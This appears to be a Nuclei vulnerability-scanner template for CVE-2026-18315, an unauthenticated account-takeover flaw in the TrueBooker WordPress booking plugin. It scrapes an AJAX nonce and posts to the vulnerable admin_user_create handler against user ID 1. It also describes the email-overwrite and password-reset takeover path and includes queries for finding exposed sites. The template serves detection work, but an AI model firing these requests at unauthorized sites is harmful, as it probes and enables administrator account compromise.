id: CVE-2026-18315 info: name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass author: 0x_Akoko severity: critical description: | TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication. impact: | Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise. remediation: | Update to the latest version of the TrueBooker plugin. reference: - https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability - https://github.com/nastar-id/CVE-2026-18315-PoC - https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php - https://nvd.nist.gov/vuln/detail/CVE-2026-18315 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-18315 epss-score: 0.03026 epss-percentile: 0.87437 cwe-id: CWE-639 metadata: verified: true max-request: 6 vendor: truebooker product: truebooker-appointment-booking fofa-query: body="truebooker-appointment-booking" publicwww-query: "/wp-content/plugins/truebooker-appointment-booking/" tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev flow: | if (!http(1)) { stop(); } http(2); if (!template["nonce"]) { http(3); } if (!template["nonce"]) { http(4); } if (!template["nonce"]) { http(5); } if (!template["nonce"]) { stop(); } http(6); http: - raw: - | GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "TrueBooker")' - 'compare_versions(plugin_version, "<= 1.2.6")' condition: and internal: true extractors: - type: regex name: plugin_version group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' internal: true - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 extractors: - type: regex name: nonce group: 1 regex: - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"' internal: true - raw: - | GET /booking/ HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 extractors: - type: regex name: nonce group: 1 regex: - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"' internal: true - raw: - | GET /appointment/ HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 extractors: - type: regex name: nonce group: 1 regex: - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"' internal: true - raw: - | GET /schedule/ HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 extractors: - type: regex name: nonce group: 1 regex: - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")' condition: and # digest: 490a004630440220203812736752482340a1ef94c61d587ad8ef97aac74317f82a4f670f0970f19e02206beeca79ccbed666701a59e72264d4d365ee0717048c06775674e3ee592f1c72:922c64590222798bb761d5b6d8e72950